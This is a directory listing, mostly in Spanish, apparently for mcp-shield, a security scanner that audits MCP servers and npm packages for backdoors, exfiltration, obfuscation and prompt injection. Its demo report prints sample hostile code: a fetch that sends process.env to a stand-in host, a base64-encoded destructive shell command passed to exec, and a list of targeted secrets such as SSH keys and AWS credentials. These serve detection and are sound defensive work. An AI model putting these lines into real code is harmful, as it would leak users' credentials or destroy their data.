Skip to main content
Glama

mcp-shield

Un escáner de seguridad para servidores MCP: detecta puertas traseras, exfiltración, inyección de prompts y riesgos en la cadena de suministro antes de que lleguen a tu IA.

El ecosistema MCP está creciendo rápidamente. No todos los servidores en npm son seguros. mcp-shield permite a Claude auditar cualquier servidor MCP —local o desde npm— antes de que confíes en él con tus archivos, claves y contexto.


Qué detecta

Categoría

Ejemplos

Exfiltración

process.env enviado a través de la red, acceso a claves SSH, lectura de credenciales de AWS

Ejecución de código

eval(), new Function(), child_process.exec(), require() dinámico

Ofuscación

Decodificación en tiempo de ejecución Base64, cargas útiles codificadas en hex, matrices de códigos de caracteres

Acceso a archivos sensibles

.env, id_rsa, cookies del navegador, ~/.gitconfig

Inyección de prompts

Instrucciones ocultas, caracteres de ancho cero, ataques de cambio de rol, patrones de jailbreak

Cadena de suministro

Antigüedad del paquete, número de descargas, número de mantenedores, CVE en dependencias


Related MCP server: mcpwatch

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Herramientas

Herramienta

Qué hace

scan_package

Descarga un paquete MCP de npm y lo escanea en busca de patrones maliciosos

scan_directory

Escanea un directorio de servidor MCP local (clonado desde GitHub, etc.)

check_prompt_injection

Comprueba las descripciones de herramientas o respuestas en busca de inyecciones ocultas

audit_supply_chain

Obtiene la puntuación de confianza, CVE, número de mantenedores y antigüedad de cualquier paquete npm


Instalación

Opción 1 — npx (sin instalación)

claude mcp add mcp-shield -- npx mcp-shield

Opción 2 — instalación global

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Opción 3 — configuración manual

Añadir a ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Ejemplos de uso

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

Cómo funciona

Análisis estático: escanea archivos fuente de JavaScript/TypeScript con una biblioteca de patrones regex que cubren más de 20 firmas de ataque en 5 categorías.

Auditoría de la cadena de suministro: consulta el registro de npm para obtener metadatos del paquete y luego ejecuta npm audit para detectar CVE conocidos en el árbol de dependencias.

Detección de inyección de prompts: comprueba las descripciones de las herramientas y las respuestas en busca de caracteres de ancho cero, anulaciones de instrucciones, ataques de cambio de rol y otras técnicas dirigidas a LLM.

Instalación --ignore-scripts: al escanear paquetes npm, se instala con --ignore-scripts para que no se ejecuten hooks de postinstalación maliciosos durante el análisis.


Contribución

Las PR son bienvenidas. Los patrones de detección se encuentran en src/patterns.ts: añadir nuevas firmas es un objeto simple.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

Licencia

MIT

Available Tools

4 tools
audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

Inputs: package_name (required), version.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

Inputs: text (required), label.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

Inputs: path (required).

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

Inputs: package_name (required), version.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4/5.0

    Scored across 4 tools

    Disambiguation5/5

    Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

    Naming Consistency5/5

    All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

    Tool Count5/5

    With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

    Completeness5/5

    The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      D
      maintenance
      MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
      1
      MIT